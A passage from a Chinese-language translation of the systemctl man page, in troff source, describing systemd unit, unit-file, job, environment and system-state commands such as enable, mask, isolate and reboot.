列出已加载的定时器(timer)单元,并按照下次执行的时间点排序。 如果给出了模式(\fIPATTERN\fR)参数,那么表示该命令仅作用于单元名称与至少一个模式相匹配的单元。
.sp
参见
\fB\-\-all\fR
与
\fB\-\-state=\fR
选项。
.RE
.PP
\fBstart \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
启动(activate)指定的已加载单元(无法启动未加载的单元)。
.sp
如果某个单元未被启动,又没有处于失败(failed)状态, 那么通常是因为该单元没有被加载,所以根本没有被模式匹配到。 此外,对于从模板实例化而来的单元,因为 systemd 会在其尚未启动前忽略它们, 又因为模式(\fIPATTERN\fR)参数仅能匹配已加载单元的"主名称"(不含单元的"别名"), 所以,在这个命令中使用包含通配符的模式并没有多少实际意义。
.RE
.PP
\fBstop \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
停止(deactivate)指定的单元
.RE
.PP
\fBreload \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
要求指定的单元重新加载它们的配置。 注意,这里所说的"配置"是服务进程专属的配置(例如
httpd\&.conf
之类), 而不是 systemd 的"单元文件"。 如果你想重新加载 systemd 的"单元文件", 那么应该使用
\fBdaemon\-reload\fR
命令。 以 Apache 为例, 该命令会导致重新加载
httpd\&.conf
文件, 而不是
apache\&.service
文件。
.sp
不要将此命令与
\fBdaemon\-reload\fR
命令混淆。
.RE
.PP
\fBrestart \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
重新启动指定的单元。 若指定的单元尚未启动,则启动它们。
.RE
.PP
\fBtry\-restart \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
重新启动指定的已启动单元。 注意,若指定的单元尚未启动,则不做任何操作。
.RE
.PP
\fBreload\-or\-restart \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
首先尝试重新加载指定单元的进程专属配置, 对于那些加载失败的单元,再继续尝试重新启动它们。 若指定的单元尚未启动,则启动它们。
.RE
.PP
\fBtry\-reload\-or\-restart \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
首先尝试重新加载指定单元的进程专属配置, 对于那些加载失败的单元,再继续尝试重新启动它们。 注意,若指定的单元尚未启动,则不做任何操作。
.RE
.PP
\fBisolate \fR\fB\fINAME\fR\fR
.RS 4
启动指定的单元以及所有依赖单元,同时停止所有其他单元。 如果没有给出单元的后缀名, 那么相当于以
"\&.target"
作为后缀名。
.sp
这类似于传统上切换SysV运行级的概念。 该命令会立即停止所有在新目标单元中不需要的进程, 这其中可能包括当前正在运行的图形环境以及正在使用的终端。
.sp
注意,该命令仅可用于
\fBAllowIsolate=yes\fR
的单元。参见
\fBsystemd.unit\fR(5)
手册。
.RE
.PP
\fBkill \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
向指定单元的
\fB\-\-kill\-who=\fR
进程发送
\fB\-\-signal=\fR
信号。
.RE
.PP
\fBis\-active \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
检查指定的单元中,是否有处于活动(active)状态的单元。 如果存在至少一个处于活动(active)状态的单元,那么返回"0"值,否则返回非零值。 除非同时使用了
\fB\-\-quiet\fR
选项, 否则,此命令还会在标准输出上显示单元的状态。
.RE
.PP
\fBis\-failed \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
检查指定的单元中,是否有处于失败(failed)状态的单元。 如果存在至少一个处于失败(failed)状态的单元,那么返回"0"值,否则返回非零值。 除非同时使用了
\fB\-\-quiet\fR
选项, 否则,此命令还会在标准输出上显示单元的状态。
.RE
.PP
\fBstatus\fR [\fIPATTERN\fR\&.\&.\&.|\fIPID\fR\&.\&.\&.]
.RS 4
如果指定了单元,那么显示指定单元的运行时状态信息,以及这些单元最近的日志数据。 如果指定了PID,那么显示指定PID所属单元的运行时状态信息,以及这些单元最近的日志数据。 如果未指定任何单元或PID,那么显示整个系统的状态信息, 此时若与
\fB\-\-all\fR
连用, 则同时显示所有已加载单元(可以用
\fB\-t\fR
限定单元类型)的状态信息。
.sp
此命令用于输出人类易读的结果,不要将其用于程序分析(应该使用
\fBshow\fR
命令)。 除非使用了
\fB\-\-lines\fR
与
\fB\-\-full\fR
选项, 否则默认只输出10行日志, 并且超长的部分会被省略号截断。此外,
\fBjournalctl \-\-unit=\fR\fB\fINAME\fR\fR
或
\fBjournalctl \-\-user\-unit=\fR\fB\fINAME\fR\fR
也会对超长的消息使用类似的省略号截断。
.RE
.PP
\fBshow\fR [\fIPATTERN\fR\&.\&.\&.|\fIJOB\fR\&.\&.\&.]
.RS 4
以"属性=值"的格式显示指定单元或任务的所有属性。 单元用其名称表示,而任务则用其id表示。 如果没有指定任何单元或任务, 那么显示管理器(systemd)自身的属性。 除非使用了
\fB\-\-all\fR
选项, 否则默认不显示属性值为空的属性。 可以使用
\fB\-\-property=\fR
选项限定仅显示特定的属性。 此命令的输出适合用于程序分析, 而不适合被人类阅读(应该使用
\fBstatus\fR
命令)。
.RE
.PP
\fBcat \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.\fR
.RS 4
显示指定单元的单元文件内容。 在显示每个单元文件的内容之前, 会额外显示一行单元文件的绝对路径。
.RE
.PP
\fBset\-property \fR\fB\fINAME\fR\fR\fB \fR\fB\fIASSIGNMENT\fR\fR\fB\&.\&.\&.\fR
.RS 4
在运行时修改单元的属性值。 主要用于修改单元的资源控制属性值而无需直接修改单元文件。 并非所有属性都可以在运行时被修改, 但大多数资源控制属性(参见
\fBsystemd.resource-control\fR(5))可以。 所作修改会立即生效,并永久保存在磁盘上,以确保永远有效。 但是如果使用了
\fB\-\-runtime\fR
选项, 那么此修改仅临时有效,下次重启此单元后,将会恢复到原有的设置。 设置属性的语法与单元文件中的写法相同。
.sp
例如:
\fBsystemctl set\-property foobar\&.service CPUShares=777\fR
.sp
注意,此命令可以同时修改多个属性值, 只需依次将各个属性用空格分隔即可。
.sp
与单元文件中的规则相同, 设为空表示清空当前已存在的列表。
.RE
.PP
\fBhelp \fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.|\fR\fB\fIPID\fR\fR\fB\&.\&.\&.\fR
.RS 4
显示指定单元的手册页(若存在)。 指定PID表示显示该进程所属单元的手册页(若存在)。
.RE
.PP
\fBreset\-failed [\fR\fB\fIPATTERN\fR\fR\fB\&.\&.\&.]\fR
.RS 4
重置指定单元的失败(failed)状态。 如果未指定任何单元,则重置所有单元的失败(failed)状态。 当某个单元因为某种原因操作失败(例如退出状态码不为零或进程被强制杀死或启动超时), 将会自动进入失败(failed)状态, 退出状态码与导致故障的原因 将被记录到日志中以方便日后排查。
.RE
.PP
\fBlist\-dependencies\fR [\fINAME\fR]
.RS 4
显示单元的依赖关系。 也就是显示由
\fIRequires=\fR,
\fIRequisite=\fR,
\fIConsistsOf=\fR,
\fIWants=\fR,
\fIBindsTo=\fR
所形成的依赖关系。 如果没有明确指定单元的名称, 那么表示显示
default\&.target
的依赖关系树。
.sp
默认情况下,仅以递归方式显示 target 单元的依赖关系树,而对于其他类型的单元,仅显示一层依赖关系(不递归)。 但如果使用了
\fB\-\-all\fR
选项, 那么将对所有类型的单元都强制递归的显示完整的依赖关系树。
.sp
还可以使用
\fB\-\-reverse\fR,
\fB\-\-after\fR,
\fB\-\-before\fR
选项指定仅显示特定类型的依赖关系。
.RE
.SS "单元文件命令"
.PP
\fBlist\-unit\-files \fR\fB[\fIPATTERN\&.\&.\&.\fR]\fR
.RS 4
列出所有已安装的单元文件及其启用状态(相当于同时使用了
\fBis\-enabled\fR
命令)。 如果给出了模式(\fIPATTERN\fR)参数, 那么表示该命令仅作用于单元文件名称与至少一个模式相匹配的单元(仅匹配文件名,不匹配路径)。
.RE
.PP
\fBenable \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR, \fBenable \fR\fB\fIPATH\fR\fR\fB\&.\&.\&.\fR
.RS 4
启用指定的单元或单元实例(多数时候相当于将这些单元设为"开机时自动启动"或"插入某个硬件时自动启动")。 这将会按照单元文件中
"[Install]"
小节的指示, 在例如
/etc/systemd/system/multi\-user\&.target\&.wants/
这样的目录中,创建指向单元文件自身的软链接。 创建完软连接之后,systemd 将会自动重新加载自身的配置(相当于执行
\fBdaemon\-reload\fR
命令),以确保所做的变更立即生效。 注意,除非同时使用了
\fB\-\-now\fR
选项(相当于同时执行
\fBstart\fR
命令), 否则启用一个单元\fI并不会\fR导致该单元被启动。 注意,对于形如
foo@bar\&.service
这样的单元实例, 软链接自身的文件名是实例化之后的单元名称, 但是软连接所指向的目标文件则是该单元的模板文件。
.sp
如果此命令的参数是一个有效的单元名称(\fINAME\fR),那么将自动搜索所有单元目录。 如果此命令的参数是一个单元文件的绝对路径(\fIPATH\fR),那么将直接使用指定的单元文件。 如果参数是一个位于标准单元目录之外的单元文件, 那么将会在标准单元目录中额外创建一个指向此单元文件的软连接, 以确保该单元文件能够被
\fBstart\fR
之类的命令找到。
.sp
除非使用了
\fB\-\-quiet\fR
选项, 否则此命令还会显示对文件系统所执行的操作(Created symlink \&.\&.\&.)。
.sp
此命令是维护
\&.{wants,requires}/
目录与单元别名的首选方法。 注意,此命令仅会按照单元文件中
"[Install]"
小节预设的名称创建软链接。 另一方面,系统管理员亦可手动创建所需的软链接, 特别是在需要创建不同于默认软链接名称的时候。 不过需要注意的是,系统管理员必须在创建完软连接之后手动执行
\fBdaemon\-reload\fR
命令, 以确保所做的变更立即生效。
.sp
不要将此命令与
\fBstart\fR
命令混淆,它们是相互独立的命令: 可以启动一个尚未启用的单元,也可以启用一个尚未启动的单元。
\fBenable\fR
命令只是设置了单元的启动钩子(通过创建软链接), 例如在系统启动时或者某个硬件插入时,自动启动某个单元。 而
\fBstart\fR
命令则是具体执行单元的启动操作, 例如对于服务单元来说就是启动守护进程,而对于套接字单元来说则是绑定套接字,等等。
.sp
若与
\fB\-\-user\fR
选项连用,则表示变更仅作用于用户实例,否则默认作用于系统实例(相当于使用
\fB\-\-system\fR
选项)。 若与
\fB\-\-runtime\fR
选项连用,则表示仅作临时性变更(重启后所有变更都将丢失),否则默认为永久性变更。 若与
\fB\-\-global\fR
选项连用,则表示变更作用于所有用户(在全局用户单元目录上操作),否则默认仅作用于当前用户(在私有用户单元目录上操作)。 注意,当与
\fB\-\-runtime\fR
选项连用时,systemd 守护进程不会重新加载自身的配置。
.sp
不可将此命令应用于已被
\fBmask\fR
命令屏蔽的单元,否则将会导致错误。
.RE
.PP
\fBdisable \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
停用指定的单元或单元实例(多数时候相当于撤销这些单元的"开机时自动启动"以及"插入某个硬件时自动启动")。 这将会从单元目录中删除所有指向单元自身及所有支持单元的软链接。 这相当于撤销
\fBenable\fR
或
\fBlink\fR
命令所做的操作。 注意,此命令会删除\fI所有\fR指向单元自身及所有支持单元的软链接, 包括手动创建的软连接以及通过
\fBenable\fR
与
\fBlink\fR
命令创建的软连接。 注意,虽然
\fBdisable\fR
与
\fBenable\fR
是一对相反的命令,但是它们的效果并不一定总是完全对称的。 因为
\fBdisable\fR
删除的软连接数量有可能比上一次
\fBenable\fR
命令创建的软连接数量更多。
.sp
此命令的参数仅能接受单元的名字,而不能接受单元文件的路径。
.sp
除了停用参数中明确指定的单元之外,那些在被停用单元
"[Install]"
小节的
\fIAlso=\fR
选项中列出的所有单元,也同样会被停用。 也就是说,这个停用动作是沿着
\fIAlso=\fR
选项不断传递的。
.sp
删除完软连接之后, systemd 将会自动重新加载自身的配置(相当于执行
\fBdaemon\-reload\fR
命令),以确保所做的变更立即生效。 注意,除非同时使用了
\fB\-\-now\fR
选项(相当于同时执行
\fBstop\fR
命令), 否则停用一个单元\fI并不会\fR导致该单元被停止。
.sp
除非使用了
\fB\-\-quiet\fR
选项, 否则此命令还会显示对文件系统所执行的操作(Removed symlink \&.\&.\&.)。
.sp
有关
\fB\-\-system\fR,
\fB\-\-user\fR,
\fB\-\-runtime\fR,
\fB\-\-global\fR
选项的影响,参见上面对
\fBenable\fR
命令的解释。
.RE
.PP
\fBreenable \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
重新启用指定的单元或单元实例。 这相当于先使用
\fBdisable\fR
命令之后再使用
\fBenable\fR
命令。 通常用于按照单元文件中
"[Install]"
小节的指示重置软链接名称。 此命令的参数仅能接受单元的名字,而不能接受单元文件的路径。
.RE
.PP
\fBpreset \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
按照预设文件(*\&.preset)的指示,重置指定单元的启用(enable)/停用(disable)状态。 其效果等价于按照预设规则,对列出的单元依次使用
\fBdisable\fR
或
\fBenable\fR
命令。
.sp
可以使用
\fB\-\-preset\-mode=\fR
选项控制如何参照预设文件: 既启用又停用、仅启用、仅停用
.sp
如果指定单元的
"[Install]"
小节不包含必要的启用信息, 那么此命令将会悄无声息的忽略该单元。
.sp
有关预设文件的更多说明,详见
\fBsystemd.preset\fR(5)
手册与
\m[blue]\fBPreset\fR\m[]\&\s-2\u[1]\d\s+2
文档。
.RE
.PP
\fBpreset\-all\fR
.RS 4
按照预设文件(*\&.preset)的指示, 重置全部单元的启用(enable)/停用(disable)状态(参见上文)。
.sp
可以使用
\fB\-\-preset\-mode=\fR
选项控制如何参照预设文件: 既启用又停用、仅启用、仅停用
.RE
.PP
\fBis\-enabled \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
检查是否有至少一个指定的单元或单元实例已经被启用。如果有,那么返回"0",否则返回非零。 除非使用了
\fB\-\-quiet\fR
选项,否则此命令还会显示指定的单元或单元实例的当前启用状态:
.sp
.it 1 an-trap
.nr an-no-space-flag 1
.nr an-break-flag 1
.br
.B Table\ \&1.\ \&is\-enabled 命令的输出
.TS
allbox tab(:);
lB lB lB.
T{
状态
T}:T{
含义
T}:T{
返回值
T}
.T&
l l l
l l l
l l l
l l l
l l l
l l l
l l l
l l l
l l l
l l l
l l l
l l l.
T{
"enabled"
T}:T{
已经通过 /etc/systemd/system/*\&.{wants,requires}/ 目录下的软连接被永久启用
T}:T{
0
T}
T{
"enabled\-runtime"
T}:T{
已经通过 /run/systemd/system/*\&.{wants,requires}/ 目录下的软连接被临时启用
T}:T{
0
T}
T{
"linked"
T}:T{
虽然单元文件本身不在标准单元目录中,但是指向此单元文件的一个或多个软连接已经存在于 /etc/systemd/system/ 永久目录中
T}:T{
> 0
T}
T{
"linked\-runtime"
T}:T{
虽然单元文件本身不在标准单元目录中,但是指向此单元文件的一个或多个软连接已经存在于 /run/systemd/system/ 临时目录中
T}:T{
> 0
T}
T{
"masked"
T}:T{
已经被 /etc/systemd/system/ 目录永久屏蔽(软连接指向 /dev/null 文件),因此 \fBstart\fR 操作会失败
T}:T{
> 0
T}
T{
"masked\-runtime"
T}:T{
已经被 /run/systemd/systemd/ 目录临时屏蔽(软连接指向 /dev/null 文件),因此 \fBstart\fR 操作会失败
T}:T{
> 0
T}
T{
"static"
T}:T{
尚未被启用,并且单元文件的 "[Install]" 小节中没有可用于 \fBenable\fR 命令的选项
T}:T{
0
T}
T{
"indirect"
T}:T{
尚未被启用,但是单元文件的 "[Install]" 小节中 \fIAlso=\fR 选项的值列表非空(也就是列表中的某些单元可能已被启用)
T}:T{
0
T}
T{
"disabled"
T}:T{
尚未被启用,但是单元文件的 "[Install]" 小节中存在可用于 \fBenable\fR 命令的选项
T}:T{
> 0
T}
T{
"generated"
T}:T{
单元文件是被单元生成器动态生成的(参见 \fBsystemd.generator\fR(7) 手册)。被生成的单元文件可能并未被直接启用,而是被单元生成器隐含的启用了。
T}:T{
0
T}
T{
"transient"
T}:T{
单元文件是被运行时API动态临时生成的。该临时单元可能并未被启用。
T}:T{
0
T}
T{
"bad"
T}:T{
单元文件不正确或者出现其他错误。 \fBis\-enabled\fR 不会返回此状态,而是会显示一条出错信息。 \fBlist\-unit\-files\fR 命令有可能会显示此单元。
T}:T{
> 0
T}
.TE
.sp 1
.RE
.PP
\fBmask \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
屏蔽指定的单元或单元实例。 也就是在单元目录中创建指向
/dev/null
的同名符号连接,从而在根本上确保无法启动这些单元。 这比
\fBdisable\fR
命令更彻底,可以通杀一切启动方法(包括手动启动),所以应该谨慎使用该命令。 若与
\fB\-\-runtime\fR
选项连用,则表示仅作临时性屏蔽(重启后屏蔽将失效),否则默认为永久性屏蔽。 除非使用了
\fB\-\-now\fR
选项(相当于同时执行
\fBstop\fR
命令),否则仅屏蔽一个单元并不会导致该单元被停止。 此命令的参数仅能接受单元的名字,而不能接受单元文件的路径。
.RE
.PP
\fBunmask \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
解除对指定单元或单元实例的屏蔽,这是
\fBmask\fR
命令的反动作。 也就是在单元目录中删除指向
/dev/null
的同名符号连接。 此命令的参数仅能接受单元的名字,而不能接受单元文件的路径。
.RE
.PP
\fBlink \fR\fB\fIPATH\fR\fR\fB\&.\&.\&.\fR
.RS 4
将不在标准单元目录中的单元文件(通过软链接)连接到标准单元目录中去。
\fIPATH\fR
参数必须是单元文件的绝对路径。该命令的结果可以通过
\fBdisable\fR
命令撤消。 通过该命令,可以让一个不在标准单元目录中的单元文件,也可以像位于标准单元目录中的常规单元文件一样, 被
\fBstart\fR,
\fBstop\fR
\&.\&.\&. 等各种命令操作。
.RE
.PP
\fBrevert \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
将指定的单元恢复成初始版本。 这将会删除对指定单元的所有修改。 例如,对于
"foo\&.service"
单元来说, 将会删除所有
foo\&.service\&.d/
目录。 如果指定的单元在
/usr/lib/
目录中 还存在单元文件的初始版本,那么还会进一步删除
/etc/
与
/run/
目录中 所有用来覆盖初始单元文件的软连接与自定义单元文件。 如果指定的单元已经被屏蔽,那么将会被解除屏蔽。
.sp
从效果上看,该命令相当于撤销
\fBedit\fR,
\fBset\-property\fR,
\fBmask\fR
命令所做的操作, 并且将指定单元的配置恢复成软件包提供的初始值。
.RE
.PP
\fBadd\-wants \fR\fB\fITARGET\fR\fR\fB \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR, \fBadd\-requires \fR\fB\fITARGET\fR\fR\fB \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
将指定的单元或单元实例(\fINAME\fR) 作为
"Wants="
或
"Requires="
依赖, 添加到
\fITARGET\fR
单元中。
.sp
关于
\fB\-\-system\fR,
\fB\-\-user\fR,
\fB\-\-runtime\fR,
\fB\-\-global\fR
选项的影响, 参见前文对
\fBenable\fR
命令的解释。
.RE
.PP
\fBedit \fR\fB\fINAME\fR\fR\fB\&.\&.\&.\fR
.RS 4
调用文本编辑器(参见下面的"环境变量"小节)修改指定的单元或单元实例。
.sp
若使用了
\fB\-\-full\fR
选项,则表示使用新编辑的单元文件完全取代原始单元文件, 否则默认将新编辑的单元配置片段(位于
\&.d/
目录)附加到原始单元文件的末尾。
.sp
如果使用了
\fB\-\-force\fR
选项,并且某些指定的单元文件不存在, 那么将会强制打开一个新的空单元文件以供编辑。
.sp
注意,在编辑过程中,编辑器实际操作的只是临时文件, 仅在编辑器正常退出时,临时文件的内容才会被实际写入到目标文件中。
.sp
注意,如果在编辑器退出时,临时文件的内容为空, 则表示取消编辑动作(而不是写入一个空文件)。
.sp
编辑动作完成之后,systemd 将会自动重新加载自身的配置(相当于执行
\fBdaemon\-reload\fR
命令),以确保所做的变更立即生效。
.sp
关于
\fB\-\-system\fR,
\fB\-\-user\fR,
\fB\-\-runtime\fR,
\fB\-\-global\fR
选项的影响, 参见前文对
\fBenable\fR
命令的解释。
.sp
注意:(1)该命令不可用于编辑远程主机上的单元文件。 (2)禁止在编辑
/etc
中的原始单元文件时使用
\fB\-\-runtime\fR
选项, 因为
/etc
中的单元文件优先级高于
/run
中的单元文件。
.RE
.PP
\fBget\-default\fR
.RS 4
显示默认的启动目标。 这将显示
default\&.target
软链接所指向的实际单元文件的名称。
.RE
.PP
\fBset\-default \fR\fB\fINAME\fR\fR
.RS 4
设置默认的启动目标。 这会将
default\&.target
软链接指向
\fINAME\fR
单元。
.RE
.SS "机器命令"
.PP
\fBlist\-machines \fR\fB[\fIPATTERN\fR\&.\&.\&.]\fR
.RS 4
列出主机和所有运行中的本地容器,以及它们的状态。 如果给出了模式(\fIPATTERN\fR)参数, 那么仅显示容器名称与至少一个模式匹配的本地容器。
.RE
.SS "任务(job)命令"
.PP
\fBlist\-jobs \fR\fB[\fIPATTERN\&.\&.\&.\fR]\fR
.RS 4
列出正在运行中的任务。 如果给出了模式(\fIPATTERN\fR)参数, 那么仅显示单元名称与至少一个模式匹配的任务。
.RE
.PP
\fBcancel \fR\fB\fIJOB\fR\fR\fB\&.\&.\&.\fR
.RS 4
据给定的任务ID撤消任务。 如果没有给出任务ID, 那么表示撤消所有尚未执行的任务。
.RE
.SS "环境变量命令"
.PP
\fBshow\-environment\fR
.RS 4
显示所有 systemd 环境变量及其值。 显示格式遵守shell脚本语法,可以直接用于shell脚本中。 这些环境变量会被传递给所有由 systemd 派生的进程。
.RE
.PP
\fBset\-environment \fR\fB\fIVARIABLE=VALUE\fR\fR\fB\&.\&.\&.\fR
.RS 4
设置指定的 systemd 环境变量。
.RE
.PP
\fBunset\-environment \fR\fB\fIVARIABLE\fR\fR\fB\&.\&.\&.\fR
.RS 4
撤消指定的 systemd 环境变量。 如果仅指定了变量名,那么表示无条件的撤消该变量(无论其值是什么)。 如果以 VARIABLE=VALUE 格式同时给出了变量值, 那么表示仅当 VARIABLE 的值恰好等于 VALUE 时, 才撤消 VARIABLE 变量。
.RE
.PP
\fBimport\-environment\fR [\fIVARIABLE\&.\&.\&.\fR]
.RS 4
导入指定的客户端环境变量。 如果未指定任何参数, 则表示导入全部客户端环境变量。
.RE
.SS "systemd 生命周期命令"
.PP
\fBdaemon\-reload\fR
.RS 4
重新加载 systemd 守护进程的配置。 具体是指:重新运行所有的生成器(\fBsystemd.generator\fR(7)), 重新加载所有单元文件,重建整个依赖关系树。 在重新加载过程中, 所有由 systemd 代为监听的用户套接字都始终保持可访问状态。
.sp
不要将此命令与
\fBreload\fR
命令混淆。
.RE
.PP
\fBdaemon\-reexec\fR
.RS 4
重新执行 systemd 守护进程。 具体是指:首先序列化 systemd 状态, 接着重新执行 systemd 守护进程并反序列化原有状态。 此命令仅供调试和升级 systemd 使用。 有时候也作为
\fBdaemon\-reload\fR
命令的重量级版本使用。 在重新执行过程中, 所有由 systemd 代为监听的用户套接字都始终保持可访问状态。
.RE
.SS "系统命令"
.PP
\fBis\-system\-running\fR
.RS 4
检查当前系统是否处于正常运行状态(running),若正常则返回"0",否则返回大于零的正整数。 所谓正常运行状态是指: 系统完成了全部的启动操作,整个系统已经处于完全可用的状态, 特别是没有处于启动/关闭/维护状态,并且没有任何单元处于失败(failed)状态。 除非使用了
\fB\-\-quiet\fR
选项, 否则此命令还会在标准输出上显示系统的当前状态, 如下表所示:
.sp
.it 1 an-trap
.nr an-no-space-flag 1
.nr an-break-flag 1
.br
.B Table\ \&2.\ \&is\-system\-running 命令的输出
.TS
allbox tab(:);
lB lB lB.
T{
状态
T}:T{
含义
T}:T{
返回值
T}
.T&
l l l
l l l
l l l
l l l
l l l
l l l
l l l
l l l.
T{
\fIinitializing\fR
T}:T{
启动的早期阶段。也就是尚未到达
basic\&.target/rescue\&.target/emergency\&.target
之前的阶段。
T}:T{
> 0
T}
T{
\fIstarting\fR
T}:T{
启动的晚期阶段。 也就是任务队列首次达到空闲之前的阶段, 或者已经启动到了某个救援 target 中。
T}:T{
> 0
T}
T{
\fIrunning\fR
T}:T{
完成了全部的启动操作,整个系统已经处于完全可用的状态, 并且没有任何单元处于失败(failed)状态。
T}:T{
0
T}
T{
\fIdegraded\fR
T}:T{
完成了全部的启动操作,系统已经可用, 但是某些单元处于失败(failed)状态。
T}:T{
> 0
T}
T{
\fImaintenance\fR
T}:T{
启动了
rescue\&.target/emergency\&.target
目标。
T}:T{
> 0
T}
T{
\fIstopping\fR
T}:T{
系统正处于关闭过程中。
T}:T{
> 0
T}
T{
\fIoffline\fR
T}:T{
整个系统已经处于完全可用的状态, 但init进程(PID=1)不是 systemd
T}:T{
> 0
T}
T{
\fIunknown\fR
T}:T{
由于资源不足或未知原因, 无法检测系统的当前状态
T}:T{
> 0
T}
.TE
.sp 1
.RE
.PP
\fBdefault\fR
.RS 4
进入默认模式。差不多相当于执行
\fBisolate default\&.target\fR
命令。
.RE
.PP
\fBrescue\fR
.RS 4
进入救援模式。差不多相当于执行
\fBisolate rescue\&.target\fR
命令。 但同时会向所有用户显示一条警告信息。
.RE
.PP
\fBemergency\fR
.RS 4
进入紧急维修模式。差不多相当于执行
\fBisolate emergency\&.target\fR
命令。 但同时会向所有用户显示一条警告信息。
.RE
.PP
\fBhalt\fR
.RS 4
关闭系统,但不切断电源。 差不多相当于执行
\fBstart halt\&.target \-\-job\-mode=replace\-irreversibly\fR
命令。 但同时会向所有用户显示一条警告信息。 若仅使用一次
\fB\-\-force\fR
选项,则跳过单元的正常停止步骤而直接杀死所有进程,强制卸载所有文件系统(或以只读模式重新挂载),并立即关闭系统。 若使用了两次
\fB\-\-force\fR
选项,则跳过杀死进程和卸载文件系统的步骤,并立即关闭系统,这会导致数据丢失、文件系统不一致等不良后果。 注意,如果连续两次使用
\fB\-\-force\fR
选项, 那么所有操作都将由
\fBsystemctl\fR
自己直接执行,而不会与 systemd 进程通信。 这意味着,即使 systemd 进程已经僵死或者崩溃, 连续两次使用
\fB\-\-force\fR
选项所指定的操作依然能够执行成功。
.RE
.PP
\fBpoweroff\fR
.RS 4
关闭系统,同时切断电源。 差不多相当于执行
\fBstart poweroff\&.target \-\-job\-mode=replace\-irreversibly\fR
命令。 但同时会向所有用户显示一条警告信息。 若仅使用一次
\fB\-\-force\fR
选项,则跳过单元的正常停止步骤而直接杀死所有进程,强制卸载所有文件系统(或以只读模式重新挂载),并立即关闭系统。 若使用了两次
\fB\-\-force\fR
选项,则跳过杀死进程和卸载文件系统的步骤,并立即关闭系统,这会导致数据丢失、文件系统不一致等不良后果。 注意,如果连续两次使用
\fB\-\-force\fR
选项, 那么所有操作都将由
\fBsystemctl\fR
自己直接执行,而不会与 systemd 进程通信。 这意味着,即使 systemd 进程已经僵死或者崩溃, 连续两次使用
\fB\-\-force\fR
选项所指定的操作依然能够执行成功。
.RE
.PP
\fBreboot \fR\fB[\fIarg\fR]\fR
.RS 4
关闭系统,然后重新启动。 差不多相当于执行
\fBstart reboot\&.target \-\-job\-mode=replace\-irreversibly\fR
命令。 但同时会向所有用户显示一条警告信息。 若仅使用一次
\fB\-\-force\fR
选项,则跳过单元的正常停止步骤而直接杀死所有进程,强制卸载所有文件系统(或以只读模式重新挂载),并立即关闭系统。 若使用了两次
\fB\-\-force\fR
选项,则跳过杀死进程和卸载文件系统的步骤,并立即关闭系统,这会导致数据丢失、文件系统不一致等不良后果。 注意,如果连续两次使用
\fB\-\-force\fR
选项, 那么所有操作都将由
\fBsystemctl\fR
自己直接执行,而不会与 systemd 进程通信。 这意味着,即使 systemd 进程已经僵死或者崩溃, 连续两次使用
\fB\-\-force\fR
选项所指定的操作依然能够执行成功。
.sp
若给出了可选的
\fIarg\fR
参数, 那么将会被作为可选参数传递给
\fBreboot\fR(2)
系统调用。 其取值范围依赖于特定的硬件平台。 例如
"recovery"
有可能表示触发系统恢复动作, 而
"fota"
有可能表示
\(lqfirmware over the air\(rq
固件更新。
.RE
.PP
\fBkexec\fR
.RS 4
关闭系统,并通过内核的 kexec 接口重新启动。 差不多相当于执行
\fBstart kexec\&.target \-\-job\-mode=replace\-irreversibly\fR
命令。 但同时会向所有用户显示一条警告信息。 若使用了
\fB\-\-force\fR
选项, 则跳过服务的正常关闭步骤而直接杀死所有进程, 强制卸载所有文件系统(或只读挂载), 并立即关闭系统。
.RE
.PP
\fBexit \fR\fB[\fIEXIT_CODE\fR]\fR
.RS 4
让 systemd 按照指定的
\fIEXIT_CODE\fR
退出码(必须是整数)退出。 若未指定
\fIEXIT_CODE\fR
则退出码为零。
.sp
此命令相当于
\fBpoweroff\fR
命令, 但仅可用于用户实例(也就是以
\fB\-\-user\fR
选项启动的实例)或容器, 否则会执行失败。
.RE
.PP
\fBswitch\-root \fR\fB\fIROOT\fR\fR\fB \fR\fB[\fIINIT\fR]\fR
.RS 4
将系统的根目录切换到
\fIROOT\fR
并执行新的
\fIINIT\fR
程序(PID=1)。 此命令仅应该在初始内存盘("initrd")中使用。 如果未指定
\fIINIT\fR
参数, 那么表示自动在
\fIROOT\fR
目录下搜索 systemd 二进制程序, 并用作
\fIINIT\fR
程序, 同时"initrd"中 systemd 的状态将会传递给新的 systemd 进程, 从而允许在新系统中对原"initrd"中的各种服务状态进行内省。
.RE
.PP
\fBsuspend\fR
.RS 4
休眠到内存。 相当于启动
suspend\&.target
目标。
.RE
.PP
\fBhibernate\fR
.RS 4
休眠到硬盘。 相当于启动
hibernate\&.target
目标。
.RE
.PP
\fBhybrid\-sleep\fR
.RS 4
进入混合休眠模式。 也就是同时休眠到内存和硬盘。 相当于启动
hybrid\-sleep\&.target
目标。
.RE
.SS "参数语法"
.PP
单元命令的参数可能是一个单独的单元名称(\fINAME\fR), 也可能是多个匹配模式(\fIPATTERN\fR\&.\&.\&.)。 对于第一种情况,如果省略单元名称的后缀,那么默认以
"\&.service"
为后缀, 除非那个命令只能用于某种特定类型的单元。例如
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl start sshd
.fi
.if n \{\
.RE
.\}
.sp
等价于
.sp
.if n \{\
.RS 4
.\}
